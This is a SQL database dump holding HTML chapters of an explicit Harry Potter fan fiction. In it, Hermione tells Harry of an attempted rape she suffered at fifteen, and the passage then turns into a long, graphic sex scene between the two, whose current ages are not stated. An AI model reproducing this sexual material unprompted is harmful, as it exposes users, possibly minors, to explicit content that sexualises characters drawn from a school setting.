style="text-indent:.25in">&#8220;Did I get what today?&#8221; Hermione\nasked still trying to play innocent.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This,&#8221; he lightly touched the\nring with his finger.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh you think I got this today? I\ncould have had this forever.&#8221; Hermione smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, I would have seen it. I know\neverything on your body. I definitely would have seen this.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She turned around facing him\ncompletely. &#8220;So you have me memorized do you Mr. Potter?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh yes,&#8221; He smiled, &#8220;there is\nnothing on you or about you that I don&#8217;t know.&#8221;&nbsp;\nHe wrapped his arms around her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So what do you think of it?&#8221;\nHermione asked worried that he wouldn&#8217;t like it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think it looks very good, down\nright sexy on you.&#8221;&nbsp; Harry replied and he\npulled her close.&nbsp; He rested his forehead\nagainst hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There is something you don&#8217;t\nabout Harry.&#8221; Hermione said very seriously. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What is that?&#8221; Harry was\nconcerned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She pulled from his arms and sat down\non the edge of the bed, Hermione looked up at him.&nbsp; She was on the verge of tears.&nbsp; &#8220;Its about what happened with Carlo, I was\nalmost expelled from school because of it. Well something worse almost\nhappened.&nbsp; Thank goodness for Ron&#8217;s\nfather or it would have been a mess.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down next to her and\ntook her hand in his.&nbsp; &#8220;Do you want to\ntell me what happened?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sniffled, &#8220;I do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay, I&#8217;m here to listen.&#8221; Harry\nsaid as he put an arm around her and pulled her against him, just simply holding\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well this is what happened.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ah what a place to leave you huh,\nwell I hope you enjoyed this chapter.&nbsp;\nAnd stay tuned for Chapter 4&#8212;Carlo&#8217;s Gift.&nbsp; Read and review. Thanks Ryoko </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A/N: All you wonderful, wonderful\nreviewers. I love you all for your wonderful words of encouragement, I hope you\ndidn&#8217;t wait too long for this chapter, it hasn&#8217;t really been that long.&nbsp; And you guys want quality not speedy half ass\ncrap right?&nbsp; Well as Tigger says TTFN Ta\nTa For Now&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(43, 4, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: I don&#8217;t own original Harry Potter characters or\nsituations, They belong to J.K Rowlings. If I owned them, I would be sitting in\nHawaii right now sipping drinks with little umbrellas in them and having hot\nguys serving my every need. *sigh* Oh well</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Amulet of Torna</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">Chapter 4&#8212;Carlo&#8217;s Gift</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Wait.&#8221;\nHarry stopped her before Hermione had a chance to tell her tale.&nbsp; He figured this was going to be a long story\nso he pulled Hermione back with him getting comfortable; he propped some\npillows up and leaned against them.&nbsp; He\nnestled Hermione against his chest, with his arm around her.&nbsp; &#8220;Okay, now you can tell me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione took a deep breath and remembered back to the\nspring break of her fifth year.&nbsp; &#8220;You\nknow I had left for Easter holidays, well I returned home and my dad was taking\nmy trunk into the house. I heard two people arguing in Italian, I assumed it\nwas Carlo and his mother, they are always yelling at each other.&nbsp; I stood there listening to their fight; I\nmean I don&#8217;t know why I don&#8217;t speak Italian.&#8221; She laughed and Harry smiled a\nlittle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well out came Carlo and he was mumbling something, he\npicked up the hose and started watering the roses, he saw me. I saw him.&nbsp; He actually smiled at me. I was blushing so\nbrightly, I had like the biggest crush on him&#8212;&#8221; She was interrupted by Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Had right, had?&#8221; Harry asked, his brows were arched.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes had.&#8221;&nbsp; She turned\nand looked at him, &#8220;Remember I was fifteen at the time.&nbsp; I had crushed on him since I was like eleven.\nBefore I left for school, I hadn&#8217;t even met you yet.&#8221; She rested her head on\nhis shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well when did you start crushing on me?&#8221; Harry asked\nproudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well I would have to say the middle of our third year; so\nmuch had gone on that year with the Crookshanks, Dementors, and Sirius.&nbsp; You know it was the first time I was really\nscared for you and it seemed my feelings were becoming clear.&#8221; She cleared her\nthroat, &#8220;Anyway Carlo and I started spending time together. So I did a little\nexperimenting with him, I didn&#8217;t want to go all the way with him because well\nfrankly I didn&#8217;t know him.&nbsp; At all.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry heard the slight shake in her voice, &#8220;Do you want to\ncontinue? You don&#8217;t have to tell me if you don&#8217;t want to.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No Harry, I have to tell you.&#8221; She said nestling herself\neven more against him.&nbsp; &#8220;Well he tried to\ngo too far, I didn&#8217;t want him to.&#8221; Hermione closed her eyes tightly, &#8220;I can\nstill feel his hands wrapped around my throat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry felt the anger bubbling inside him; he wanted to hurt\nthat jerk that hurt his Hermione.&nbsp; He\nheld her tighter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;He was too strong for me I kept trying to push him, or\nscratch at his hands.&nbsp; I reached for his\nface to scratch out his eyes; anything that would make him let go.&nbsp; He was using his own knees to keep my legs\nopen. He was almost there, you know I could feel him right there ready to&#8212;&#8221; She\npaused a moment. &#8220;I figured this was it, I was going to be&#8230;but I reached for\nsomething behind me, my wand which he thought was just a strange stick.&nbsp; I reached for it, still struggling.&nbsp; I was able to get to my wand and I pointed it\nat him shouting the first thing that popped into my head.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione took a deep breath, &#8220;The ministry was on me in\nminutes, and let&#8217;s just say if it wasn&#8217;t for Ron&#8217;s father, I wouldn&#8217;t even be\nhere with you right now.&nbsp; They would have\nexpelled me from school and banished me from the Wizarding World.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry hugged her to him so tightly; &#8220;I&#8217;m going to hurt him\nfor causing you pain like this.&#8221;&nbsp; His\nprotective instincts took over and all he saw was blinding red rage, he wanted\nkick the living daylights out of Carlo Yuri and he probably would to if it\nwasn&#8217;t for the pleading tone in Hermione&#8217;s voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She was sitting up looking deep and worriedly into his eyes.\n&#8220;Harry you can&#8217;t, it&#8217;s over it&#8217;s in the past.&nbsp;\nHe can&#8217;t hurt me anymore.&#8221; She said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Does he know you&#8217;re a witch?&#8221; Harry asked, still wanting to\ndrive his fist right into that Italian&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, the ministry used a memory charm on him and replaced\nhis memory with one of me kicking him away.&#8221; She said glancing down at her\nfingers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I still say you let me beat the crap out of him, no one\nshould treat you that way.&nbsp; No one.&nbsp; You have a heart and feelings, and you are so\ngentle and kind.&#8221; Harry&#8217;s voice was light and happy, his eyes then darkened\nwith anger.&nbsp; &#8220;And he goes and hurts you\nlike that, he deserves to be punished Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Hermione lifted her\nhand and ran her fingers light over his cheek. &#8220;I had done enough to him by\nusing that mild curse on him.&nbsp; He went\nthrough a ministry trial; they probed his brain, searched his mind.&#8221;&nbsp; She heard Harry sigh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry reached over and pulled her onto his lap, her legs\nopened so that she was straddling him.&nbsp;\nShe circled her arms around him and rested her cheek against chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know you want to hurt him Harry, I know.&nbsp; But I didn&#8217;t tell you so that you could go\nbeat him up, just had to get it off my chest. I had to tell someone.&#8221;&nbsp; Hermione felt Harry&#8217;s arms around her.&nbsp; She felt his fingers in her hair; she closed\nher eyes with contentment as he comforted her.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s alright Hermione,&#8221; Harry said softly, his fingers ever\nso gentle running through her hair. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes it is alright, I just hope Amelia dumps his ass.&#8221; She\nlaughed a little.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&quot;I don&#8217;t want to sound like a jerk, but I don&#8217;t want\nhim near you. Not at all.&#8221; Harry said his tone was bitter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well that makes two of us; I don&#8217;t want him near me\neither.&#8221;&nbsp; Hermione pulled back a little\nand smiled at him.&nbsp; She lifted her hand\nto his cheek, where her fingers lightly drifted about his face.&nbsp; &#8220;I don&#8217;t want to talk or think about Carlo\nanymore.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No complaints here.&#8221; Harry smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">With a small smile Hermione leaned forward and kissed him\ngently.&nbsp; Harry&#8217;s hands reached up into\nher hair, grasping the back of her head as she tried to pull away.&nbsp; He wanted her mouth on his longer, and he\nheld the simple kiss.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Harry&#8217;s hands were\nnow on her shoulders as Hermione pulled away.&nbsp;\nHermione took a breath and buried her face within Harry&#8217;s shirt, she\ninhaled his scent.&nbsp; He smelled fresh and\ncrisp, like after it rains. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She smiled gently.&nbsp;\n&#8220;You smell nice.&#8221; Her voice was muffled since she still had her face\npressed against his chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I haven&#8217;t had a shower since this morning, and it&#8217;s been a\nhectic day. Are you sure you don&#8217;t mean I stink?&#8221; Harry smiled though he was\nserious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione lifted her head looking at him, &#8220;I still say you\nsmell nice.&#8221; Hermione smiled and poked him in the stomach with a gentle\nfinger.&nbsp; She saw him laugh.&nbsp; &#8220;Now let me see if you taste as good as you\nsmell.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Are you coming on to me?&#8221; Harry asked innocently.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione leaned closer to his ear, &#8220;You better believe I\nam.&#8221; She gave him a soft kiss on his cheek, trailing her lips to cover over his\nmouth. Harry&#8217;s lips immediately parted as did hers; she was rewarded with a\ngentle flick of his tongue against hers.&nbsp;\nHer hand flattened against his chest and wandered downward over his\nstomach as the kiss deepened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry moaned as he felt her hand on top of his shirt which\nwas pressed flat against his chest, he wanted to feel her hand on him.&nbsp; So he pulled his mouth from hers and quickly\nlifted his shirt over his head.&nbsp; Harry\ntook in a deep breath as he let Hermione take her time looking at him. Hermione\nleaned in and pressed her lips to his neck, kissing him slowly, wandering down\nto his chest where she left sensual open mouthed kisses across his chest.&nbsp; She scooted down more and kissed his stomach\ngently.&nbsp; Harry&#8217;s hands were on her back,\nrubbing up and down.&nbsp; He didn&#8217;t like this\nshirt too much anymore; he wanted her smooth soft skin beneath his hands.&nbsp; This shirt had to go, but first he was a bit\napprehensive about what she was doing.&nbsp;&nbsp;\nSure he had an idea and he&#8217;d seen it done on certain Muggle movies that\nDudley had in private storage under his mattress.&nbsp; It&#8217;s just no one had ever gone down on him\nbefore, not even Cho.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione?&#8221; He said breathlessly as he felt her hand against\nthe zipper of his shorts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione rested her chin on this stomach and looked up,\ngiving him her attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you&#8212;&#8221; He stopped in mid sentence when she lifted her\nmouth to his in a brief but thorough kiss, her tongue twirled softly with his\nand she pulled back with a tiny smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just trust me, you&#8217;ll like this.&#8221; She said with a\nreassuring smile and a twinkle in her eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t want you doing something that you might not be\ncomfortable with.&#8221; Harry said as he threaded his fingers through her hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;To tell you the truth,&#8221; She lowered her eyes for a moment\nand then lifted her gaze to collide with his.&nbsp;\n&#8220;I&#8217;ve wanted to do this to you for a long time.&#8221; She smirked and pressed\na soft kiss just below his stomach.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s breath caught in his throat as he watched her\ngentle, slender fingers unbuttoned his shorts; he lifted up a bit so she could\nslip both his underwear and his shorts off.&nbsp;\nOnce settled back on the bed he closed his eyes, an instant later he\nfelt her fingers, her hands and then her mouth.&nbsp;&nbsp; &#8220;Oh God!&#8221; Harry breathed out as he gripped\nthe sheets with his hands.&nbsp; He felt her\ntongue her lips, the slight suction and movements of her hand. Harry was\nbreathing hard, the emotions the sensations were like none other, hot and\nneedy. He managed to bury his hands within her hair, he even found himself\nthrusting in and out of her mouth.&nbsp; She\nwelcomed him, almost encouraging him.&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">This feeling was too much, she was very skilled and she was\ndriving him crazy, he wasn&#8217;t going to be able to hold back any longer.\n&#8220;Herm&#8230;ione&#8221; He gasped out. &#8220;I&#8212;I&#8217;m gonna, I can&#8217;t&#8212;&#8221; It was as if she didn&#8217;t hear\nhim for she kept going, he couldn&#8217;t hold it.&nbsp;\nHarry gripped the back of her head, every muscle strained, he cried\nout.&nbsp;&nbsp; After a few moments of catching\nhis breath she was there now, lying on top of him and looking down.&nbsp; Harry buried his face into her neck holding\nher so tightly; almost as if he were afraid she would disappear.&nbsp; He felt her own arms around him as she too\nwas embracing him tightly.&nbsp; She could\nstill feel his heart beating fast.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I was right,&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Right about what?&#8221; He shifted so he could look up at her,\nstill wrapped up in her arms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You taste as good as you smell.&#8221; She smiled into his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry gave off a soft chuckle looking at her, &#8220;Something is\noff here, I happen to be naked but you are still fully clothed.&#8221; His tone was\nplayful.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I am?&#8221; She said looking down at herself, &#8220;Well imagine that,\nwhat do you suppose I should do about this?&#8221; Hermione grinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know exactly what to do.&#8221;&nbsp;\nHe pulled her up to a sitting position and he saw and as if reading his\nmind Hermione reached down with her hands towards the hem of her shirt, she was\ngoing much to slow for his taste. &#8220;Oh here, let me help you.&#8221;&nbsp; And he quickly brought his hands to the\nbottom of her shirt and lifted it up and over her head.&nbsp; The rest of her clothing was soon to follow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was lying on her back while Harry was next to her\npropped up one arm,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry lightly swept his hand over her body, slowly over her\nhip, her thigh.&nbsp; Just making her feel\nnice and relaxed.&nbsp; He glanced down at her\nbelly button ring, playing with it a little.&nbsp;\n&#8220;So this is what that god awful pinch was?&nbsp; That hurt you know.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I forgot,&#8221; Hermione sniggered.&nbsp; &#8220;I forgot that we could feel each other&#8217;s\npain and emotions when apart.&#8221; She said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh and don&#8217;t forget pleasure,&#8221; He wiggled his\neyebrows.&nbsp; &#8220;I know what you were doing at\nnight, alone. And on several different occasions too.&#8221; He smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hey!&#8221; She smiled. &#8220;Geez, now I can&#8217;t do anything now\nwithout you knowing about it.&#8221; She laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You say that as if it&#8217;s a bad thing,&#8221; Harry laughed and\nlightly rubbed his fingers in small circles on her tummy around her belly\nbutton; it was a tad red and he didn&#8217;t want to aggravate it more. &#8220;Does your\nring still hurt?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well there&#8217;s sort of a dull ache there now, it hurts but\nthe pain will go away in a few days.&#8221; She smiled, watching him still tracing\naround her belly button.&nbsp; Hermione\nstretched her arms behind her and her hand hit a bag.&nbsp; She looked behind her a bit and saw the bag\nof peanut butter cups.&nbsp; Hermione grabbed\nit and opened it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry heard a crinkling noise above him; he looked up and\nsaw she was digging into the bag of peanut butter cups.&nbsp; She pulled one out and started eating it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well these are very good.&#8221; Hermione said with her mouth\nfull or chocolate and peanut butter.&nbsp; She\nsaw him looking at her and she held half of the peanut butter cup to him, &#8220;Do\nyou want some?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I do.&#8221;&nbsp; He took\nthe candy from her but he didn&#8217;t eat it, instead he covered her mouth with his,\nHermione was a bit stunned but she recovered quickly and started kissing him\nback.&nbsp; Her arms went around his neck and\npulled him closer.&nbsp; She felt Harry&#8217;s hand\non the area just above her breast, sliding down to cover over the round\nfirmness.&nbsp; Hermione pressed her mouth\nharder to his, Harry moaned softly as their tongues playfully tangled\ntogether.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">After a few moments of kissing her, Harry pulled his mouth\nfrom hers and they both noticed where his hand had been there was a smear of\nchocolate.&nbsp; &#8220;Ooops.&#8221; Harry said.&nbsp; &#8220;I better take care of that.&#8221; He gave off\nhalf grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione took in a sharp breath as she felt his tongue on\nher breast, right where the chocolate now used to be.&nbsp; Both of her hands were buried in his hair as\nhe continued to tease her breast with his tongue and lips.&nbsp; She cried out feeling his other hand between\nher thighs, touching, teasing invoking the hot fire of need that was now\nsurrounding her.&nbsp; Her hands cupped the\nback of his head, which caused him to look up at her.&nbsp; She pulled his mouth up to hers where she\nkissed him hard and deep, letting her tongue collide passionately with his,\nmaking him groan into her mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She ripped her mouth from his, crying out from feeling his\nfinger inside her and his thumb rubbing against her little button, she was\ndrowning in the essence of her fiery need.&nbsp;\nShe scraped her fingernails up his back. Hermione heard him breathing\nharshly in her ear as she was clutching his shoulders.&nbsp;&nbsp; Her mouth was next to his ear when she\nspoke.&nbsp; &#8220;Harry&#8230;please&#8230;I need\nyou&#8230;now.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Right now?&#8221; He teased her with his words as well as his\nhand and fingers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes, right now.&#8221; Hermione squeaked, she felt him pull his\nhand away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry smiled and kissed her neck, covering her throat with\nbutterfly kisses, which grew into passionate open mouthed kisses; he moved and\ncovered over her with the warmth of his body.&nbsp;\nHermione&#8217;s thighs spread wide and he lay between them, she felt him\npressed against the entrance of her body and she groaned pushing herself onto\nhim. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I said right now.&#8221; Hermione smirked through her heavy\ndesired euphoria and closed her legs around him pulling him deep inside of her,\nshe gasped with pleasure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">His heart sped up feeling her tight around him where he gave\nher a soft smile, then his mouth covered over hers as he thrust into her warm,\nsoft body.&nbsp; He started gently but\ngradually sped up his movements, harder and harder he went into her.&nbsp; Tighter and tighter she closed around\nhim.&nbsp; She moaned and cried out into his\nmouth, as his kiss was passionate and almost bruising.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A bit deeper and harder Harry pressed into her, Hermione\nwhimpered telling him she wanted more by attaching her lips to his neck and\nsuckling the flesh and leaving her mark, she moved her mouth and continued to\nleave her little love marks.&nbsp; He gave her\nmore he shifted and grabbed a hold of her ankles lifting her legs high in the air,\nwhere they bent at the knees and pressed near her ears.&nbsp; Harry was able melt even further into her hot\nwarmth making her moan loudly.&nbsp; She was\npushing her hips against his and he plunged faster and harder into her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry felt her body close around him.&nbsp; He glanced down at Hermione&#8217;s face, her eyes\nslammed shut, she was breathing hard and fast.&nbsp;\nHe released her legs and they found their way around him again, her\nankles locking together at the small of his back. Harry bent, kissed her once,\ntwice.&nbsp; Opening her mouth with his where\nhis tongue also plunged into her mouth at the same time as his body did inside\nher.&nbsp; Her arms were tight around him,\npulling his chest against hers.&nbsp; Hard and\nhot he went, she was silky soft and tight around him.&nbsp; It was coming he could feel, she was on the\nedge.&nbsp; Her inner walls pulsated around\nhim and he too was going to lose it for the second time that night.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione&#8217;s fingers clutched his shoulders hard, and his dug\ninto her hips.&nbsp; Harry pulled her against\nhim and he thrust in deeper again and again.&nbsp;\nHer body closed around his so hard and tight that Hermione&#8217;s heart\nlurched and stomach tightened. Her body lifted nearly half way off the bed as\nshe screamed in her release.&nbsp; Moments\nlater he too had joined the heavens for a moment. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was looking up at him, watching him cry out his\nunrestrained pleasure.&nbsp; God he was\nbeautiful.&nbsp; She smiled a bit looking up\nat him until he nestled his face in between her neck and shoulder.&nbsp; Still breathing hard and recovering from his\nascent to the stars.&nbsp; Hermione kissed the\nside of his head, neck, as she was content to let him calm down against her.\nShe ran her fingers up and down his smooth back.&nbsp; His breathing slowed, and she realized that\nhe was asleep.&nbsp; Hermione let him lie\nthere for a few minutes, before she gently moved him off of her.&nbsp; She got up from the bed and immediately he\nsat up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione?&#8221; he said sleepily, looking around for her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m here love.&#8221; Hermione moved over to the light switch she\nglanced over at the bed and 